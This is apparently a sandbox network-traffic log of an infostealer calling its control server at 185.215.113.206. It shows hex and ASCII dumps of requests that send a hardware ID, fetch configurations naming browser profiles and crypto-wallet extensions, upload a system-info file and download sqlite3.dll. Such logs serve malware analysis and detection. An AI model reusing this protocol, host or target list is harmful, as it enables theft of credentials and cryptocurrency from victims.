Nov 23, 2024 13:28:37.796689987 CET	1236	IN	Data Raw: 6d 4c f4 16 22 b5 c6 3e a5 20 a2 3c b0 08 3a cf 70 a3 28 87 61 95 2e 9e a2 72 9d cf 39 a4 a4 20 15 a2 be bd 1c 81 18 40 ae 53 e7 c5 ba c3 52 1f c0 c8 a5 b0 e1 13 a5 f8 de 40 d6 4e fd eb 1b c7 af 36 27 4c 87 4c 23 62 ba 21 66 e5 81 41 9d 6a c2 ea Data Ascii: mL"> <:p(a.r9 @SR@N6'LL#b!fAj+>jw0}h99-8K4)!EG$_Jjg5\|4QVl;g:]D!hj:pjU8>^[!f[# Aks6[G7\|!>K{q\Q? Kj
Nov 23, 2024 13:28:37.796721935 CET	1236	IN	Data Raw: 83 fd c7 62 ca 0d 85 6e bd 1d bf 20 a3 0d ab 38 4f 61 b9 9e c2 03 f6 1e a3 a5 bc 64 ff b5 7c 6e 87 6a d6 ad b2 1a f7 39 bf 67 a6 da 78 ed bf 40 93 a1 38 07 9f f4 94 69 71 e0 1c b9 fe a3 2c 0a ab f4 7e 67 00 ed a8 40 db a1 4c 07 13 61 ae 99 bd cb Data Ascii: bn 8Oad\|nj9gx@8iq,~g@La81A<WjZ9pBJah]q@!#>0gg<^pLmu :}f=_u,y!ui@7"[XZ-HjYp<
Nov 23, 2024 13:28:37.796773911 CET	1236	IN	Data Raw: 7d ba 95 3e 06 c6 7d 0d 6d 11 37 3b 7f 67 d9 df 5e 23 7c 79 09 ef 64 ad fa 6a fd 9d be fa 38 4b 83 ef 30 6e 8f ed ec b3 c1 e0 f2 90 82 ef 7c 6d 2f 03 3e 01 00 a1 c3 ac ab ed ad c0 bc 79 3e 0d 8b af fe 10 13 ef bc 38 5e 6d d1 a4 ea bb 28 ef 69 0d Data Ascii: }>}m7;g^#\|ydj8K0n\|m/>y>8^m(iWd:lR5sk9OD-<3X^=Pyq]9k^la:#hSdA]cLa#P^=:[YFmg0xch:
Nov 23, 2024 13:28:37.796823025 CET	1236	IN	Data Raw: 9a 82 ab 9c 5c 29 a6 b6 6e 03 3c 66 03 38 ae 38 3b 61 5d a6 c2 dc 40 3f 67 89 c9 a1 ba 81 c0 2a 5b d4 9b 3a a5 00 55 71 71 a2 2c 07 03 a3 01 1d 89 db bc 3a 2b a6 1c 9f ea 0e 2b 1f 2e 45 ab 38 0f 6b dd 59 6e 04 7e ad 82 10 03 31 ca 0d 5d 67 67 ea Data Ascii: \)n<f88;a]@?g*[:Uqq,:++.E8kYn~1]gg&r7Z0k)9cfpg:p^:;CqZ{&qU9;?c Q::g}jfm^kIq F8;mli}:X}$yDxpt
Nov 23, 2024 13:28:37.796861887 CET	1236	IN	Data Raw: 6e 23 da 26 71 f1 f9 0c d3 03 f5 36 9b 7a e1 6d 02 11 f7 3a a7 f4 de 3c 01 b3 a9 b6 82 b5 d0 2f c3 6d 9d 3d c5 e2 06 6b af 61 a9 4c be 82 c5 2d 68 5a b7 a4 6e d1 55 3b fb ed 3c 6d 05 40 39 39 80 cd 40 a1 ee a3 6c a1 5e 26 d7 3c 03 43 ab 38 cf 61 Data Ascii: n#&q6zm:</m=kaL-hZnU;<m@99@l^&<C8aFaf@,%nAe2]l>:jm8;6:rfq`ls!=6qna:!5:\q2Z1Tlrplq=}lM)iA$m$8o\|:w #$
Nov 23, 2024 13:28:37.916502953 CET	1236	IN	Data Raw: 47 64 2c 9d 04 f5 e9 a8 0f fc 6c 30 3b b5 d9 95 64 d5 04 2e 63 e4 f4 cb c8 84 e5 da 56 34 28 1e 5b 3a 5f 0b 9b cf f8 0a d8 7c 37 2c 06 d0 6c 17 b6 51 f5 d8 59 e3 45 8a 78 52 02 f5 5a f2 c8 0f 8f 8c 40 a6 c0 3d d4 da 81 89 b1 d5 76 bd 3c 94 06 81 Data Ascii: Gd,l0;d.cV4([:_\|7,lQYExRZ@=v<SkUwX5o7N]3inbX3.Nlt3j\|o0d9e-wYGyuCga4_l`)4j3?bhxPx(m"Gwq2>Uk1i'5-a}u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49818	185.215.113.206	80	2052	C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:28:43.870739937 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 13:28:45.246700048 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 13:28:45.249234915 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 43 41 38 35 45 44 33 32 44 45 33 37 31 32 36 35 39 37 38 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"C0CA85ED32DE3712659782------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"mars------GIEBAECAKKFCBFIEGCBK--
Nov 23, 2024 13:28:45.714426041 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:45 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6d 52 6c 4d 54 6c 6a 4e 7a 45 31 4e 54 45 79 4e 47 55 30 59 32 55 78 4d 7a 4d 30 4f 54 67 32 4e 7a 4d 78 4e 54 4d 33 4f 47 55 79 4d 6a 4d 32 4f 57 51 7a 4e 44 63 31 4d 6a 49 34 4f 44 49 78 59 32 4e 6c 59 54 68 6a 59 6d 4d 32 4d 57 4a 6c 4d 54 6b 32 4d 32 45 77 4d 47 46 6b 4f 44 4e 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZmRlMTljNzE1NTEyNGU0Y2UxMzM0OTg2NzMxNTM3OGUyMjM2OWQzNDc1MjI4ODIxY2NlYThjYmM2MWJlMTk2M2EwMGFkODNjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 13:28:45.715553999 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 64 65 31 39 63 37 31 35 35 31 32 34 65 34 63 65 31 33 33 34 39 38 36 37 33 31 35 33 37 38 65 32 32 33 36 39 64 33 34 37 35 32 32 38 38 32 31 63 63 65 61 38 63 62 63 36 31 62 65 31 39 36 33 61 30 30 61 64 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"fde19c7155124e4ce13349867315378e22369d3475228821ccea8cbc61be1963a00ad83c------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"browsers------KJECFHCBKKEBAKFIJDHI--
Nov 23, 2024 13:28:46.163949966 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:45 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 13:28:46.164130926 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 23, 2024 13:28:46.166173935 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHCAKKEGCAAFHJJJDBKJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 64 65 31 39 63 37 31 35 35 31 32 34 65 34 63 65 31 33 33 34 39 38 36 37 33 31 35 33 37 38 65 32 32 33 36 39 64 33 34 37 35 32 32 38 38 32 31 63 63 65 61 38 63 62 63 36 31 62 65 31 39 36 33 61 30 30 61 64 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="token"fde19c7155124e4ce13349867315378e22369d3475228821ccea8cbc61be1963a00ad83c------GHCAKKEGCAAFHJJJDBKJContent-Disposition: form-data; name="message"plugins------GHCAKKEGCAAFHJJJDBKJ--
Nov 23, 2024 13:28:46.680965900 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 13:28:46.681005955 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 13:28:46.681020021 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 13:28:46.681207895 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Nov 23, 2024 13:28:46.681292057 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Nov 23, 2024 13:28:46.681308985 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Nov 23, 2024 13:28:46.681327105 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Nov 23, 2024 13:28:46.682931900 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 64 65 31 39 63 37 31 35 35 31 32 34 65 34 63 65 31 33 33 34 39 38 36 37 33 31 35 33 37 38 65 32 32 33 36 39 64 33 34 37 35 32 32 38 38 32 31 63 63 65 61 38 63 62 63 36 31 62 65 31 39 36 33 61 30 30 61 64 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"fde19c7155124e4ce13349867315378e22369d3475228821ccea8cbc61be1963a00ad83c------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="message"fplugins------JDGIIJJDHDGCGDHIJDAK--
Nov 23, 2024 13:28:47.138017893 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 13:28:47.157166004 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 185.215.113.206 Content-Length: 5831 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 13:28:47.157211065 CET	5831	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 64 65 31 39 63 Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"fde19c7155124e4ce13349867315378e22369d3475228821ccea8cbc61be1963a00ad83c------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 13:28:48.235496998 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 13:28:48.509001017 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
